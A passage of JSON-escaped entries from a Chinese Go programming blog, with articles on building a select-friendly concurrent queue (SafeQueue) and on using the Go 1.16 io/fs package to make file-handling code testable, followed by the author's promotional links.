Pitfalls》\u003c/a\u003e编写了50条Go语言的陷阱与缺陷，一时在Go社区广为流传。而本文是又一篇较为系统总结Go陷阱的文章，不同于50 Shades of Go的按初中高级陷阱的分类方式，本文是按类别对Go陷阱做讲解。\u003c/p\u003e","title":"Go语言的“黑暗角落”：盘点学习Go语言时遇到的那些陷阱[译]（第一部分）"},{"content":"\n1. 背景与选型 和《基于Redis Cluster的分布式锁实现以互斥方式操作共享资源》一文一样，今天要说的Go队列方案也是有一定项目背景的。\n5G消息方兴未艾！前一段时间从事了一段时间5G消息网关的研发，但凡涉及类似消息业务的网关，我们一般都离不开队列这种数据结构的支持。这个5G消息网关项目采用的是Go技术栈开发，那么我们应该如何为它选择一个与业务模型匹配且性能不差的实现呢？\n如今一提到消息队列，大家第一个想到的一定是kafka，kafka的确是一款优秀的分布式队列中间件，但对于我们这个系统来说，它有些“重”，部署和运维都有门槛，并且项目组里也没有能很好维护它的专家，毕竟“可控”是技术选择的一个重要因素。除此之外，我们更想在Go技术栈的生态中挑选，但kafka是Java实现的。\nGo圈里在性能上能与kafka“掰掰手腕”的成熟选手不多，nats以及其主持持久化的子项目nats-streaming算是其中两个。不过nats的消息送达模型是：At-least-once-delivery，即至少送一次（而没有kafka的精确送一次的送达模型)。一旦消费者性能下降，给nats server返回的应答超时，nats就会做消息的重发处理：即将消息重新加入到队列中。这与我们的业务模型不符，即便nats提供了发送超时的设定，但我们还是无法给出适当的timeout时间。Go圈里的另一个高性能分布式消息队列nsq采用的也是“至少送一次”的消息送达模型，因此也无法满足我们的业务需求。\n我们的业务决定了我们需要的队列要支持“多生产者多消费者”模型，Go语言内置的channel也是一个不错的候选。经过多个Go版本的打磨和优化，channel的send和recv操作性能在一定数量goroutine的情况下已经可以满足很多业务场景的需求了。但channel还是不完全满足我们的业务需求。我们的系统要求尽可能将来自客户端的消息接收下来并缓存在队列中。即便下游发送性能变慢，也要将客户消息先收下来，而不是拒收或延迟响应。而channel本质上是一个具有“静态大小”的队列并且Go的channel操作语义会在channel buffer满的情况下阻塞对channel的继续send，这就与我们的场景要求有背离，即便我们使用buffered channel，我们也很难选择一个合适的len值，并且一旦buffer满，它与unbuffered channel行为无异。\n这样一来，我们便选择自己实现一个简单的、高性能的满足业务要求的队列，并且最好能像channel那样可以被select监听到数据ready，而不是给消费者带去“心智负担” ：消费者采用轮询的方式查看队列中是否有数据。\n2. 设计与实现方案 要设计和实现这样一个队列结构，我们需要解决三个问题：\n实现队列这个数据结构； 实现多goroutine并发访问队列时对消费者和生产者的协调； 解决消费者使用select监听队列的问题。 我们逐一来看！\n1) 基础队列结构实现来自一个未被Go项目采纳的技术提案 队列是最基础的数据结构，实现一个“先进先出(FIFO)”的练手queue十分容易，但实现一份能加入标准库、资源占用小且性能良好的queue并不容易。Christian Petrin在2018年10月份曾发起一份关于Go标准库加入queue实现的技术提案，提案对基于array和链表的多种queue实现进行详细的比对，并最终给出结论：impl7是最为适宜和有竞争力的标准库queue的候选者。虽然该技术提案目前尚未得到accept，但impl7足可以作为我们的内存队列的基础实现。\n2) 为impl7添加并发支持 在性能敏感的领域，我们可以直接使用sync包提供的诸多同步原语来实现goroutine并发安全访问，这里也不例外，一个最简单的让impl7队列实现支持并发的方法就是使用sync.Mutex实现对队列的互斥访问。由于impl7并未作为一个独立的repo存在，我们将其代码copy到我们的实现中(queueimpl7.go)，并将其包名由queueimpl7改名为queue：\n// github.com/bigwhite/experiments/blob/master/queue-with-select/safe-queue1/queueimpl7.go // Package queueimpl7 implements an unbounded, dynamically growing FIFO queue. // Internally, queue store the values in fixed sized slices that are linked using // a singly linked list. // This implementation tests the queue performance when performing lazy creation of // the internal slice as well as starting with a 1 sized slice, allowing it to grow // up to 16 by using the builtin append function. Subsequent slices are created with // 128 fixed size. package queue // Keeping below as var so it is possible to run the slice size bench tests with no coding changes. var ( // firstSliceSize holds the size of the first slice. firstSliceSize = 1 // maxFirstSliceSize holds the maximum size of the first slice. maxFirstSliceSize = 16 // maxInternalSliceSize holds the maximum size of each internal slice. maxInternalSliceSize = 128 ) ... ... 下面我们就来为以queueimpl7为底层实现的queue增加并发访问支持：\n// github.com/bigwhite/experiments/blob/master/queue-with-select/safe-queue1/safe-queue.go package queue import ( \u0026quot;sync\u0026quot; ) type SafeQueue struct { q *Queueimpl7 sync.Mutex } func NewSafe() *SafeQueue { sq := \u0026amp;SafeQueue{ q: New(), } return sq } func (s *SafeQueue) Len() int { s.Lock() n := s.q.Len() s.Unlock() return n } func (s *SafeQueue) Push(v interface{}) { s.Lock() defer s.Unlock() s.q.Push(v) } func (s *SafeQueue) Pop() (interface{}, bool) { s.Lock() defer s.Unlock() return s.q.Pop() } func (s *SafeQueue) Front() (interface{}, bool) { s.Lock() defer s.Unlock() return s.q.Front() } 我们建立一个新结构体SafeQueue，用于表示支持并发访问的Queue，该结构只是在queueimpl7的Queue的基础上嵌入了sync.Mutex。\n3) 支持select监听 到这里支持并发的queue虽然实现了，但在使用上还存在一些问题，尤其是对消费者而言，它只能通过轮询的方式来检查队列中是否有消息。而Go并发范式中，select扮演着重要角色，如果能让SafeQueue像普通channel那样能支持select监听，那么消费者在使用时的心智负担将大大降低。于是我们得到了下面第二版的SafeQueue实现：\n// github.com/bigwhite/experiments/blob/master/queue-with-select/safe-queue2/safe-queue.go package queue import ( \u0026quot;sync\u0026quot; \u0026quot;time\u0026quot; ) const ( signalInterval = 200 signalChanSize = 10 ) type SafeQueue struct { q *Queueimpl7 sync.Mutex C chan struct{} } func NewSafe() *SafeQueue { sq := \u0026amp;SafeQueue{ q: New(), C: make(chan struct{}, signalChanSize), } go func() { ticker := time.NewTicker(time.Millisecond * signalInterval) defer ticker.Stop() for { select { case \u0026lt;-ticker.C: if sq.q.Len() \u0026gt; 0 { // send signal to indicate there are message waiting to be handled select { case sq.C \u0026lt;- struct{}{}: //signaled default: // not block this goroutine } } } } }() return sq } func (s *SafeQueue) Len() int { s.Lock() n := s.q.Len() s.Unlock() return n } func (s *SafeQueue) Push(v interface{}) { s.Lock() defer s.Unlock() s.q.Push(v) } func (s *SafeQueue) Pop() (interface{}, bool) { s.Lock() defer s.Unlock() return s.q.Pop() } func (s *SafeQueue) Front() (interface{}, bool) { s.Lock() defer s.Unlock() return s.q.Front() } 从上面代码看到，每个SafeQueue的实例会伴随一个goroutine，该goroutine会定期(signalInterval)扫描其所绑定的队列实例中当前消息数，如果大于0，则会向SafeQueue结构中新增的channel发送一条数据，作为一个“事件”。SafeQueue的消费者则可以通过select来监听该channel，待收到“事件”后调用SafeQueue的Pop方法获取队列数据。下面是一个SafeQueue的简单使用示例：\n// github.com/bigwhite/experiments/blob/master/queue-with-select/main.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;sync\u0026quot; \u0026quot;time\u0026quot; queue \u0026quot;github.com/bigwhite/safe-queue/safe-queue2\u0026quot; ) func main() { var q = queue.NewSafe() var wg sync.WaitGroup wg.Add(2) // 生产者 go func() { for i := 0; i \u0026lt; 1000; i++ { time.Sleep(time.Second) q.Push(i + 1) } wg.Done() }() // 消费者 go func() { LOOP: for { select { case \u0026lt;-q.C: for { i, ok := q.Pop() if !ok { // no msg available continue LOOP } fmt.Printf(\u0026quot;%d\\n\u0026quot;, i.(int)) } } } }() wg.Wait() } 从支持SafeQueue的原理可以看到，当有多个消费者时，只有一个消费者能得到“事件”并开始消费。如果队列消息较少，只有一个消费者可以启动消费，这个机制也不会导致“惊群”；当队列中有源源不断的消费产生时，与SafeQueue绑定的goroutine可能会连续发送“事件”，多个消费者都会收到事件并启动消费行为。在这样的实现下，建议消费者在收到“事件”后持续消费，直到Pop的第二个返回值返回false(代表队列为空)，就像上面示例中的那样。\n这个SafeQueue的性能“中规中矩”，比buffered channel略好(Go 1.16 darwin下跑的benchmark)：\n$go test -bench . goos: darwin goarch: amd64 pkg: github.com/bigwhite/safe-queue/safe-queue2 cpu: Intel(R) Core(TM) i5-8257U CPU @ 1.40GHz BenchmarkParallelQueuePush-8 10687545 110.9 ns/op 32 B/op 1 allocs/op BenchmarkParallelQueuePop-8 18185744 55.58 ns/op 0 B/op 0 allocs/op BenchmarkParallelPushBufferredChan-8 10275184 127.1 ns/op 16 B/op 1 allocs/op BenchmarkParallelPopBufferedChan-8 10168750 128.8 ns/op 16 B/op 1 allocs/op BenchmarkParallelPushUnBufferredChan-8 3005150 414.9 ns/op 16 B/op 1 allocs/op BenchmarkParallelPopUnBufferedChan-8 2987301 402.9 ns/op 16 B/op 1 allocs/op PASS ok github.com/bigwhite/safe-queue/safe-queue2 11.209s 注：BenchmarkParallelQueuePop-8因为是读取空队列，所以没有分配内存，实际情况是会有内存分配的。另外并发goroutine的模拟差异可能导致有结果差异。\n3. 扩展与问题 上面实现的SafeQueue是一个纯内存队列，一旦程序停止/重启，未处理的消息都将消失。一个传统的解决方法是采用wal(write ahead log)在推队列之前将消息持久化后写入文件，在消息出队列后将消息状态也写入wal文件中。这样重启程序时，从wal中恢复消息到各个队列即可。我们也可以将wal封装到SafeQueue的实现中，在SafeQueue的Push和Pop时自动操作wal，并对SafeQueue的使用者透明，不过这里有一个前提，那就是队列消息的可序列化（比如使用protobuf)。另外SafeQueue还需提供一个对外的wal消息恢复接口。大家可以考虑一下如何实现这些。\n另外在上述的SafeQueue实现中，我们在给SafeQueue增加select监听时引入两个const：\nconst ( signalInterval = 200 signalChanSize = 10 ) 对于SafeQueue的使用者而言，这两个默认值可能不满足需求，那么我们可以将SafeQueue的New方法做一些改造，采用“功能选项(functional option)”的模式为用户提供设置这两个值的可选接口，这个“作业”也留给大家了^_^。\n本文所有示例代码可以在这里下载 – https://github.com/bigwhite/experiments/tree/master/queue-with-select。\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，\u0026gt;每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需\u0026gt;求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足\u0026gt;广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖\u0026gt;中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/03/26/implement-a-queue-with-select-listener-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/implement-a-queue-with-select-listener-in-go-1.png\"\u003e\u003c/p\u003e\n\u003ch3 id=\"1-背景与选型\"\u003e1. 背景与选型\u003c/h3\u003e\n\u003cp\u003e和\u003ca href=\"https://mp.weixin.qq.com/s/vhhARqk0QT0sltJQMi_s7w\"\u003e《基于Redis Cluster的分布式锁实现以互斥方式操作共享资源》\u003c/a\u003e一文一样，今天要说的Go队列方案也是有一定项目背景的。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003e5G消息方兴未艾\u003c/a\u003e！前一段时间从事了一段时间5G消息网关的研发，但凡涉及类似消息业务的网关，我们一般都离不开\u003cstrong\u003e队列\u003c/strong\u003e这种数据结构的支持。这个5G消息网关项目采用的是Go技术栈开发，那么我们应该如何为它选择一个\u003cstrong\u003e与业务模型匹配且性能不差\u003c/strong\u003e的实现呢？\u003c/p\u003e\n\u003cp\u003e如今一提到消息队列，大家第一个想到的一定是\u003ca href=\"https://kafka.apache.org/\"\u003ekafka\u003c/a\u003e，kafka的确是一款优秀的分布式队列中间件，但对于我们这个系统来说，它有些“重”，部署和运维都有门槛，并且项目组里也没有能很好维护它的专家，\u003cstrong\u003e毕竟“可控”是技术选择的一个重要因素\u003c/strong\u003e。除此之外，我们更想在Go技术栈的生态中挑选，但kafka是Java实现的。\u003c/p\u003e","title":"使用Go实现可用select监听的队列"},{"content":"\n1. 设计io/fs的背景 Go语言的接口是Gopher最喜欢的语法元素之一，其隐式的契约满足和“当前唯一可用的泛型机制”的特质让其成为面向组合编程的强大武器，其存在为Go建立事物抽象奠定了基础，同时也是建立抽象的主要手段。\nGo语言从诞生至今，最成功的接口定义之一就是io.Writer和io.Reader接口：\ntype Writer interface { Write(p []byte) (n int, err error) } type Reader interface { Read(p []byte) (n int, err error) } 这两个接口建立了对数据源中的数据操作的良好的抽象，通过该抽象我们可以读或写满足这两个接口的任意数据源：\n字符串\nr := strings.NewReader(\u0026ldquo;hello, go\u0026rdquo;) r.Read(\u0026hellip;)\n字节序列\nr := bytes.NewReader([]byte(\u0026ldquo;hello, go\u0026rdquo;)) r.Read(\u0026hellip;)\n文件内数据\nf := os.Open(\u0026ldquo;foo.txt\u0026rdquo;) // f 满足io.Reader f.Read(\u0026hellip;)\n网络socket\nr, err := net.DialTCP(\u0026ldquo;192.168.0.10\u0026rdquo;, nil, raddr *TCPAddr) (*TCPConn, error) r.Read(\u0026hellip;)\n构造HTTP请求\nreq, err := http.NewRequestWithContext(ctx, \u0026ldquo;POST\u0026rdquo;, url, bytes.NewReader([]byte(\u0026ldquo;hello, go\u0026rdquo;))\n读取压缩文件内容\nfunc main() { f, err := os.Open(\u0026ldquo;hello.txt.gz\u0026rdquo;) if err != nil { log.Fatal(err) }\nzr, err := gzip.NewReader(f) if err != nil { log.Fatal(err) } if _, err := io.Copy(os.Stdout, zr); err != nil { log.Fatal(err) } if err := zr.Close(); err != nil { log.Fatal(err) } }\n… …\n能构架出io.Reader和Writer这样的抽象，与Go最初核心团队的深厚的Unix背景是密不可分的，这一抽象可能深受“在UNIX中，一切都是字节流”这一设计哲学的影响。\nUnix还有一个设计哲学：一切都是文件，即在Unix中，任何有I/O的设备，无论是文件、socket、驱动等，在打开设备之后都有一个对应的文件描述符，Unix将对这些设备的操作简化在抽象的文件中了。用户只需要打开文件，将得到的文件描述符传给相应的操作函数，操作系统内核就知道如何根据这个文件描述符得到具体设备信息，内部隐藏了对各种设备进行读写的细节。\n并且Unix还使用树型的结构将各种抽象的文件(数据文件、socket、磁盘驱动器、外接设备等)组织起来，通过文件路径对其进行访问，这样的一个树型结构构成了文件系统。\n不过由于历史不知名的某个原因，Go语言并没有在标准库中内置对文件以及文件系统的抽象！我们知道如今的os.File是一个具体的结构体类型，而不是抽象类型：\n// $GOROOT/src/os/types.go // File represents an open file descriptor. type File struct { *file // os specific } 结构体os.File中唯一的字段file指针还是一个操作系统相关的类型，我们以os/file_unix.go为例，在unix中，file的定义如下：\n// file is the real representation of *File. // The extra level of indirection ensures that no clients of os // can overwrite this data, which could cause the finalizer // to close the wrong file descriptor. type file struct { pfd poll.FD name string dirinfo *dirInfo // nil unless directory being read nonblock bool // whether we set nonblocking mode stdoutOrErr bool // whether this is stdout or stderr appendMode bool // whether file is opened for appending } Go语言之父Rob Pike对当初os.File没有被定义为interface而耿耿于怀：\n不过就像Russ Cox在上述issue中的comment那样：“我想我会认为io.File应该是接口，但现在这一切都没有意义了”：\n但在Go 1.16的embed文件功能设计过程中，Go核心团队以及参与讨论的Gopher们认为引入一个对File System和File的抽象，将会像上面的io.Reader和io.Writer那样对Go代码产生很大益处，同时也会给embed功能的实现带去便利！于是Rob Pike和Russ Cox亲自上阵完成了io/fs的设计。\n2. 探索io/fs包 io/fs的加入也不是“临时起意”，早在很多年前的godoc实现时，对一个抽象的文件系统接口的需求就已经被提了出来并给出了实现：\n最终这份实现以godoc工具的vfs包的形式一直长期存在着。虽然它的实现有些复杂，抽象程度不够，但却对io/fs包的设计有着重要的参考价值。\nGo语言对文件系统与文件的抽象以io/fs中的FS接口类型和File类型落地，这两个接口的设计遵循了Go语言一贯秉持的“小接口原则”，并符合开闭设计原则(对扩展开放,对修改关闭)。\n// $GOROOT/src/io/fs/fs.go type FS interface { // Open opens the named file. // // When Open returns an error, it should be of type *PathError // with the Op field set to \u0026quot;open\u0026quot;, the Path field set to name, // and the Err field describing the problem. // // Open should reject attempts to open names that do not satisfy // ValidPath(name), returning a *PathError with Err set to // ErrInvalid or ErrNotExist. Open(name string) (File, error) } // A File provides access to a single file. // The File interface is the minimum implementation required of the file. // A file may implement additional interfaces, such as // ReadDirFile, ReaderAt, or Seeker, to provide additional or optimized functionality. type File interface { Stat() (FileInfo, error) Read([]byte) (int, error) Close() error } FS接口代表虚拟文件系统的最小抽象，它仅包含一个Open方法；File接口则是虚拟文件的最小抽象，仅包含抽象文件所需的三个共同方法(不能再少了)。我们可以基于这两个接口通过Go常见的嵌入接口类型的方式进行扩展，就像io.ReadWriter是基于io.Reader的扩展那样。在这份设计提案中，作者还将这种方式命名为_extension interface_，即在一个基本接口类型的基础上，新增一到多个新方法以形成一个新接口。比如下面的基于FS接口的extension interface类型StatFS：\n// A StatFS is a file system with a Stat method. type StatFS interface { FS // Stat returns a FileInfo describing the file. // If there is an error, it should be of type *PathError. Stat(name string) (FileInfo, error) } 对于File这个基本接口类型，fs包仅给出一个extension interface：ReadDirFile，即在File接口的基础上增加了一个ReadDir方法形成的，这种用扩展方法名+基础接口名来命名一个新接口类型的方式也是Go的惯用法。\n对于FS接口，fs包给出了一些扩展FS的常见“新扩展接口”的样例：\n以fs包的ReadDirFS接口为例：\n// $GOROOT/src/io/fs/readdir.go type ReadDirFS interface { FS // ReadDir reads the named directory // and returns a list of directory entries sorted by filename. ReadDir(name string) ([]DirEntry, error) } // ReadDir reads the named directory // and returns a list of directory entries sorted by filename. // // If fs implements ReadDirFS, ReadDir calls fs.ReadDir. // Otherwise ReadDir calls fs.Open and uses ReadDir and Close // on the returned file. func ReadDir(fsys FS, name string) ([]DirEntry, error) { if fsys, ok := fsys.(ReadDirFS); ok { return fsys.ReadDir(name) } file, err := fsys.Open(name) if err != nil { return nil, err } defer file.Close() dir, ok := file.(ReadDirFile) if !ok { return nil, \u0026amp;PathError{Op: \u0026quot;readdir\u0026quot;, Path: name, Err: errors.New(\u0026quot;not implemented\u0026quot;)} } list, err := dir.ReadDir(-1) sort.Slice(list, func(i, j int) bool { return list[i].Name() \u0026lt; list[j].Name() }) return list, err } 我们看到伴随着ReadDirFS，标准库还提供了一个helper函数：ReadDir。该函数的第一个参数为FS接口类型的变量，在其内部实现中，ReadDir先通过类型断言判断传入的fsys是否实现了ReadDirFS，如果实现了，就直接调用其ReadDir方法；如果没有实现则给出了常规实现。其他几个FS的extension interface也都有自己的helper function，这也算是Go的一个惯例。如果你要实现你自己的FS的扩展，不要忘了这个惯例：给出伴随你的扩展接口的helper function。\n标准库中一些涉及虚拟文件系统的包在Go 1.16版本中做了对io/fs的适配，比如：os、net/http、html/template、text/template、archive/zip等。\n以http.FileServer为例，Go 1.16版本之前建立一个静态文件Server一般这么来写：\n// github.com/bigwhite/experiments/blob/master/iofs/fileserver_classic.go package main import \u0026quot;net/http\u0026quot; func main() { http.ListenAndServe(\u0026quot;:8080\u0026quot;, http.FileServer(http.Dir(\u0026quot;.\u0026quot;))) } Go 1.16 http包对fs的FS和File接口做了适配后，我们可以这样写：\n// github.com/bigwhite/experiments/blob/master/iofs/fileserver_iofs.go package main import ( \u0026quot;net/http\u0026quot; \u0026quot;os\u0026quot; ) func main() { http.ListenAndServe(\u0026quot;:8080\u0026quot;, http.FileServer(http.FS(os.DirFS(\u0026quot;./\u0026quot;)))) } os包新增的DirFS函数返回一个fs.FS的实现：一个以传入dir为根的文件树构成的File System。\n我们可以参考DirFS实现一个goFilesFS，该FS的实现仅返回以.go为后缀的文件：\n// github.com/bigwhite/experiments/blob/master/iofs/gofilefs/gofilefs.go package gfs import ( \u0026quot;io/fs\u0026quot; \u0026quot;os\u0026quot; \u0026quot;strings\u0026quot; ) func GoFilesFS(dir string) fs.FS { return goFilesFS(dir) } type goFile struct { *os.File } func Open(name string) (*goFile, error) { f, err := os.Open(name) if err != nil { return nil, err } return \u0026amp;goFile{f}, nil } func (f goFile) ReadDir(count int) ([]fs.DirEntry, error) { entries, err := f.File.ReadDir(count) if err != nil { return nil, err } var newEntries []fs.DirEntry for _, entry := range entries { if !entry.IsDir() { ss := strings.Split(entry.Name(), \u0026quot;.\u0026quot;) if ss[len(ss)-1] != \u0026quot;go\u0026quot; { continue } } newEntries = append(newEntries, entry) } return newEntries, nil } type goFilesFS string func (dir goFilesFS) Open(name string) (fs.File, error) { f, err := Open(string(dir) + \u0026quot;/\u0026quot; + name) if err != nil { return nil, err // nil fs.File } return f, nil } 上述GoFilesFS的实现中：\ngoFilesFS实现了io/fs的FS接口，而其Open方法返回的fs.File实例为我自定义的goFile结构； goFile结构通过嵌入*os.File满足了io/fs的File接口； 我们重写goFile的ReadDir方法(覆盖os.File的同名方法)，在这个方法中我们过滤掉非.go后缀的文件。 有了GoFilesFS的实现后，我们就可以将其传给http.FileServer了：\n// github.com/bigwhite/experiments/blob/master/iofs/fileserver_gofilefs.go package main import ( \u0026quot;net/http\u0026quot; gfs \u0026quot;github.com/bigwhite/testiofs/gofilefs\u0026quot; ) func main() { http.ListenAndServe(\u0026quot;:8080\u0026quot;, http.FileServer(http.FS(gfs.GoFilesFS(\u0026quot;./\u0026quot;)))) } 通过浏览器打开localhost:8080页面，我们就能看到仅由go源文件组成的文件树！\n3. 使用io/fs提高代码可测性 抽象的接口意味着降低耦合，意味着代码可测试性的提升。Go 1.16增加了对文件系统和文件的抽象之后，我们以后再面对文件相关代码时，我们便可以利用io/fs提高这类代码的可测试性。\n我们有这样的一个函数：\nfunc FindGoFiles(dir string) ([]string, error) 该函数查找出dir下所有go源文件的路径并放在一个[]string中返回。我们可以很轻松的给出下面的第一版实现：\n// github.com/bigwhite/experiments/blob/master/iofs/gowalk/demo1/gowalk.go package demo import ( \u0026quot;os\u0026quot; \u0026quot;path/filepath\u0026quot; \u0026quot;strings\u0026quot; ) func FindGoFiles(dir string) ([]string, error) { var goFiles []string err := filepath.Walk(dir, func(path string, info os.FileInfo, err error) error { if info.IsDir() { return nil } ss := strings.Split(path, \u0026quot;.\u0026quot;) if ss[len(ss)-1] != \u0026quot;go\u0026quot; { return nil } goFiles = append(goFiles, path) return nil }) if err != nil { return nil, err } return goFiles, nil } 这一版的实现直接使用了filepath的Walk函数，它与os包是紧绑定的，即要想测试这个函数，我们需要在磁盘上真实的构造出一个文件树，就像下面这样：\n$tree testdata testdata └── foo ├── 1 │ └── 1.txt ├── 1.go ├── 2 │ ├── 2.go │ └── 2.txt └── bar ├── 3 │ └── 3.go └── 4.go 按照go惯例，我们将测试依赖的外部数据文件放在testdata下面。下面是针对上面函数的测试文件：\n// github.com/bigwhite/experiments/blob/master/iofs/gowalk/demo1/gowalk_test.go package demo import ( \u0026quot;testing\u0026quot; ) func TestFindGoFiles(t *testing.T) { m := map[string]bool{ \u0026quot;testdata/foo/1.go\u0026quot;: true, \u0026quot;testdata/foo/2/2.go\u0026quot;: true, \u0026quot;testdata/foo/bar/3/3.go\u0026quot;: true, \u0026quot;testdata/foo/bar/4.go\u0026quot;: true, } files, err := FindGoFiles(\u0026quot;testdata/foo\u0026quot;) if err != nil { t.Errorf(\u0026quot;want nil, actual %s\u0026quot;, err) } if len(files) != 4 { t.Errorf(\u0026quot;want 4, actual %d\u0026quot;, len(files)) } for _, f := range files { _, ok := m[f] if !ok { t.Errorf(\u0026quot;want [%s], actual not found\u0026quot;, f) } } } FindGoFiles函数的第一版设计显然可测性较差，需要对依赖特定布局的磁盘上的文件，虽然testdata也是作为源码提交到代码仓库中的。\n有了io/fs包后，我们用FS接口来提升一下FindGoFiles函数的可测性，我们重新设计一下该函数：\n// github.com/bigwhite/experiments/blob/master/iofs/gowalk/demo2/gowalk.go package demo import ( \u0026quot;io/fs\u0026quot; \u0026quot;strings\u0026quot; ) func FindGoFiles(dir string, fsys fs.FS) ([]string, error) { var newEntries []string err := fs.WalkDir(fsys, dir, func(path string, entry fs.DirEntry, err error) error { if entry == nil { return nil } if !entry.IsDir() { ss := strings.Split(entry.Name(), \u0026quot;.\u0026quot;) if ss[len(ss)-1] != \u0026quot;go\u0026quot; { return nil } newEntries = append(newEntries, path) } return nil }) if err != nil { return nil, err } return newEntries, nil } 这次我们给FindGoFiles增加了一个fs.FS类型的参数fsys，这是解除掉该函数与具体FS实现的关键。当然demo1的测试方法同样适用于该版FindGoFiles函数：\n// github.com/bigwhite/experiments/blob/master/iofs/gowalk/demo2/gowalk_test.go package demo import ( \u0026quot;os\u0026quot; \u0026quot;testing\u0026quot; ) func TestFindGoFiles(t *testing.T) { m := map[string]bool{ \u0026quot;testdata/foo/1.go\u0026quot;: true, \u0026quot;testdata/foo/2/2.go\u0026quot;: true, \u0026quot;testdata/foo/bar/3/3.go\u0026quot;: true, \u0026quot;testdata/foo/bar/4.go\u0026quot;: true, } files, err := FindGoFiles(\u0026quot;testdata/foo\u0026quot;, os.DirFS(\u0026quot;.\u0026quot;)) if err != nil { t.Errorf(\u0026quot;want nil, actual %s\u0026quot;, err) } if len(files) != 4 { t.Errorf(\u0026quot;want 4, actual %d\u0026quot;, len(files)) } for _, f := range files { _, ok := m[f] if !ok { t.Errorf(\u0026quot;want [%s], actual not found\u0026quot;, f) } } } 但这不是我们想要的，既然我们使用了io/fs.FS接口，那么一切实现了fs.FS接口的实体均可被用来构造针对FindGoFiles的测试。但自己写一个实现了fs.FS接口以及fs.File相关接口还是比较麻烦的，Go标准库已经想到了这点，为我们提供了testing/fstest包，我们可以直接利用fstest包中实现的基于memory的FS来对FindGoFiles进行测试：\n// github.com/bigwhite/experiments/blob/master/iofs/gowalk/demo3/gowalk_test.go package demo import ( \u0026quot;testing\u0026quot; \u0026quot;testing/fstest\u0026quot; ) /* $tree testdata testdata └── foo ├── 1 │ └── 1.txt ├── 1.go ├── 2 │ ├── 2.go │ └── 2.txt └── bar ├── 3 │ └── 3.go └── 4.go 5 directories, 6 files */ func TestFindGoFiles(t *testing.T) { m := map[string]bool{ \u0026quot;testdata/foo/1.go\u0026quot;: true, \u0026quot;testdata/foo/2/2.go\u0026quot;: true, \u0026quot;testdata/foo/bar/3/3.go\u0026quot;: true, \u0026quot;testdata/foo/bar/4.go\u0026quot;: true, } mfs := fstest.MapFS{ \u0026quot;testdata/foo/1.go\u0026quot;: {Data: []byte(\u0026quot;package foo\\n\u0026quot;)}, \u0026quot;testdata/foo/1/1.txt\u0026quot;: {Data: []byte(\u0026quot;1111\\n\u0026quot;)}, \u0026quot;testdata/foo/2/2.txt\u0026quot;: {Data: []byte(\u0026quot;2222\\n\u0026quot;)}, \u0026quot;testdata/foo/2/2.go\u0026quot;: {Data: []byte(\u0026quot;package bar\\n\u0026quot;)}, \u0026quot;testdata/foo/bar/3/3.go\u0026quot;: {Data: []byte(\u0026quot;package zoo\\n\u0026quot;)}, \u0026quot;testdata/foo/bar/4.go\u0026quot;: {Data: []byte(\u0026quot;package zoo1\\n\u0026quot;)}, } files, err := FindGoFiles(\u0026quot;testdata/foo\u0026quot;, mfs) if err != nil { t.Errorf(\u0026quot;want nil, actual %s\u0026quot;, err) } if len(files) != 4 { t.Errorf(\u0026quot;want 4, actual %d\u0026quot;, len(files)) } for _, f := range files { _, ok := m[f] if !ok { t.Errorf(\u0026quot;want [%s], actual not found\u0026quot;, f) } } } 由于FindGoFiles接受了fs.FS类型变量作为参数，使其可测性显著提高，我们可以通过代码来构造测试场景，而无需在真实物理磁盘上构造复杂多变的测试场景。\n4. 小结 io/fs的加入让我们易于面向接口编程，而不是面向os.File这个具体实现。io/fs的加入丝毫没有违和感，就好像这个包以及其中的抽象在Go 1.0版本发布时就存在的一样。这也是Go interface隐式依赖的特质带来的好处，让人感觉十分得劲儿！\n本文中涉及的代码可以在这里下载。https://github.com/bigwhite/experiments/tree/master/iofs\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 